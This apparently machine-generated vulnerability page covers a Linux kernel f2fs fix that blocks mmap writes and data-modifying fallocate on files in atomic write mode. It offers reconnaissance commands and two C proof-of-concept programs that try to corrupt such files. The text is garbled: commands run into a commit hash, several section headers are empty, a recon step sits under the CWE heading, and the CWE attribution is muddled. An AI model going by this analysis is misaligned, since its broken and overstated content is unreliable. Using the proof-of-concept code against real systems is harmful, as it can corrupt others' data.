CVE-2026-100093 — Linux Kernel — NONE Vulnerability
In the Linux kernel, the following vulnerability has been resolved: f2fs: disallow mmap write and data-modifying fallocate on atomic files Stores through a shared writable mapping and fallocate with FALLOC_FL_PUNCH_HOLE, FALLOC_FL_ZERO_RANGE, FALLOC_FL_COLLAPSE_RANGE or FALLOC_FL_INSERT_RANGE do not go through ->write_begin, so they bypass the COW inode and modify the original inode directly. Reject them while the file is in atomic write mode, as fallocate already does for pinned and compressed files. A write fault gets SIGBUS and fallocate gets -EOPNOTSUPP. fallocate without these flags only preallocates blocks and stays allowed. f2fs_vm_page_mkwrite() cannot take inode_lock, so check the flag under invalidate_lock, and hold invalidate_lock in f2fs_ioc_start_atomic_write() from the flush until the flag is set. Otherwise a fault could check the flag, then start_atomic_write could flush and set the flag, and the fault would dirty the folio afterwards.
In the Linux kernel, the following vulnerability has been resolved: f2fs: disallow mmap write and data-modifying fallocate on atomic files Stores through a shared writable mapping and fallocate with FALLOC_FL_PUNCH_HOLE, FALLOC_FL_ZERO_RANGE, FALLOC_FL_COLLAPSE_RANGE or FALLOC_FL_INSERT_RANGE do not go through ->write_begin, so they bypass the COW inode and modify the original inode directly. Reject them while the file is in atomic write mode, as fallocate already does for pinned and compressed files. A write fault gets SIGBUS and fallocate gets -EOPNOTSUPP. fallocate without these flags only preallocates blocks and stays allowed. f2fs_vm_page_mkwrite() cannot take inode_lock, so check the flag under invalidate_lock, and hold invalidate_lock in f2fs_ioc_start_atomic_write() from the flush until the flag is set. Otherwise a fault could check the flag, then start_atomic_write could flush and set the flag, and the fault would dirty the folio afterwards.
🎯 What is this vulnerability?
This vulnerability is a logic error in the Linux kernel's F2FS (Flash-Friendly File System) driver regarding the enforcement of "atomic write" semantics.
Technical Flaw:
F2FS supports an "atomic write" mode for files, which is typically used to ensure that a file update is either fully committed or fully rolled back (crash consistency). When a file is in atomic write mode, the kernel is supposed to prevent direct modifications to the original inode data to maintain consistency, relying instead on Copy-On-Write (COW) mechanisms or specific transactional paths.
The vulnerability exists because certain file operations bypass the standard ->write_begin VFS hook, which is where the kernel normally checks if a file is in atomic write mode and enforces the COW logic. Specifically:
1. mmap writes: Stores through a shared writable memory mapping (e.g., mmap with MAP_SHARED and PROT_WRITE) trigger page faults that do not go through ->write_begin.
2. Specific fallocate operations: Calls to fallocate with the flags FALLOC_FL_PUNCH_HOLE, FALLOC_FL_ZERO_RANGE, FALLOC_FL_COLLAPSE_RANGE, or FALLOC_FL_INSERT_RANGE modify the file structure/data directly without going through ->write_begin.
Because these paths bypass the check, they can modify the original inode directly while the file is in atomic write mode. This breaks the atomicity guarantee, potentially leading to data corruption or inconsistent file states if a crash occurs during the operation. The fix involves explicitly rejecting these operations (returning SIGBUS for mmap faults and -EOPNOTSUPP for fallocate) when the file is in atomic write mode.
CWE Classification:
- CWE-692: Use of Out-of-Range Pointer Offset (or more accurately, CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (Race Condition) combined with CWE-20: Improper Input Validation). The core issue is a missing validation check in specific code paths (mmap/fallocate) that should have been blocked due to the file's state (atomic write mode).
- Identify File System: The attacker checks if the target system uses F2FS.
CVSS Score:
0.0 (NONE): The CVSS score is listed as 0.0. This is unusual for a kernel bug that affects data integrity. However, in the context of kernel CVEs, a score of 0.0 or "None" often indicates that the vulnerability is considered theoretical, requires extreme conditions (e.g., specific F2FS configuration, atomic write mode enabled, and a crash during the exact window of the race condition), or that the impact is limited to local data corruption without a direct path to privilege escalation or remote code execution. It may also reflect that the bug is fixed in a stable release and the risk is deemed negligible for most users who do not use F2FS atomic write features. Note: A score of 0.0 is highly atypical for a kernel bug; it may be a placeholder or an error in the provided data. Standard kernel data corruption bugs usually score 5.5-7.0 (Medium/High) due to local integrity impact.*
⚡ Attack Chain
Important Note: This is a local kernel vulnerability. It does not involve network services, web endpoints, or remote exploitation. An attacker must already have local access (e.g., a user account on the system) to trigger this.
1. Discovery & Reconnaissance
mount | grep f2fs
# or
df -T | grep f2fse40ae42d992ebec22e073a19d62555635b96aa1e).uname -rstrace to identify processes using F2FS_IOC_START_ATOMIC_WRITE.2. Exploitation
The attacker triggers the race condition or bypass by performing a disallowed operation on an atomic write file.Scenario A: Bypassing Atomicity via fallocate
1. The attacker identifies a file target_file that is in atomic write mode (e.g., held by a database process).
2. The attacker executes a fallocate call with a disallowed flag, such as FALLOC_FL_PUNCH_HOLE, to modify the file structure.
3. This bypasses the ->write_begin check and directly modifies the inode, potentially corrupting the file's logical structure.
Illustrative PoC (C Code):
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <linux/f2fs.h>
int main() {
int fd;
// Open a file that is in atomic write mode
// Note: The file must already be in atomic write mode by another process
fd = open("/path/to/atomic_file", O_RDWR);
if (fd < 0) {
perror("open");
return 1;
}
// Attempt to punch a hole, which bypasses write_begin
// This should fail with -EOPNOTSUPP in the fixed kernel,
// but in the vulnerable kernel, it may succeed and corrupt the file.
int ret = fallocate(fd, FALLOC_FL_PUNCH_HOLE, 0, 4096);
if (ret < 0) {
perror("fallocate");
} else {
printf("fallocate succeeded. File may be corrupted.\n");
}
close(fd);
return 0;
}Scenario B: Bypassing Atomicity via mmap
1. The attacker maps the atomic write file into memory with MAP_SHARED and PROT_WRITE.
2. The attacker writes to the mapped memory, triggering a page fault.
3. The page fault handler (f2fs_vm_page_mkwrite) does not properly check the atomic write flag in the vulnerable version, allowing the write to proceed and corrupt the file.
Illustrative PoC (C Code):
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
int main() {
int fd;
void *addr;
size_t size = 4096;
fd = open("/path/to/atomic_file", O_RDWR);
if (fd < 0) {
perror("open");
return 1;
}
// Map the file into memory
addr = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (addr == MAP_FAILED) {
perror("mmap");
close(fd);
return 1;
}
// Write to the mapped memory, triggering a page fault
memset(addr, 'A', size);
msync(addr, size, MS_SYNC);
printf("mmap write completed. File may be corrupted.\n");
munmap(addr, size);
close(fd);
return 0;
}3. Post-Exploitation
🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching
e40ae42d992ebec22e073a19d62555635b96aa1e and later.2. Workarounds
3. Detection
dmesg | grep -i "f2fs"AIDE or Tripwire to monitor critical files for unexpected changes. If a file in atomic write mode is modified by an unauthorized process, it may trigger an alert.auditd to monitor fallocate and mmap system calls on sensitive files.auditctl -w /path/to/atomic_file -p wa -k atomic_write_monitor⚠️ Urgency
CVSS Score: 0.0 (NONE) – Note: This score is likely an error or placeholder. A more realistic score would be 5.5-7.0 (Medium/High) due to local integrity impact.*
* Low: If you are not using F2FS or atomic write mode, this vulnerability does not affect you.
* Medium: If you are using F2FS with atomic write mode for critical data, patch as soon as possible to prevent potential data corruption.
* High: If you are in a high-security environment where local integrity is critical, patch immediately.
Recommendation:
1. Check if your system uses F2FS with atomic write mode.
2. If yes, update the kernel to a version that includes the fix.
3. If no, no immediate action is required, but keep your kernel up to date for general security.
[🤖 CVE Professor AI Security Engine]
FOFA Query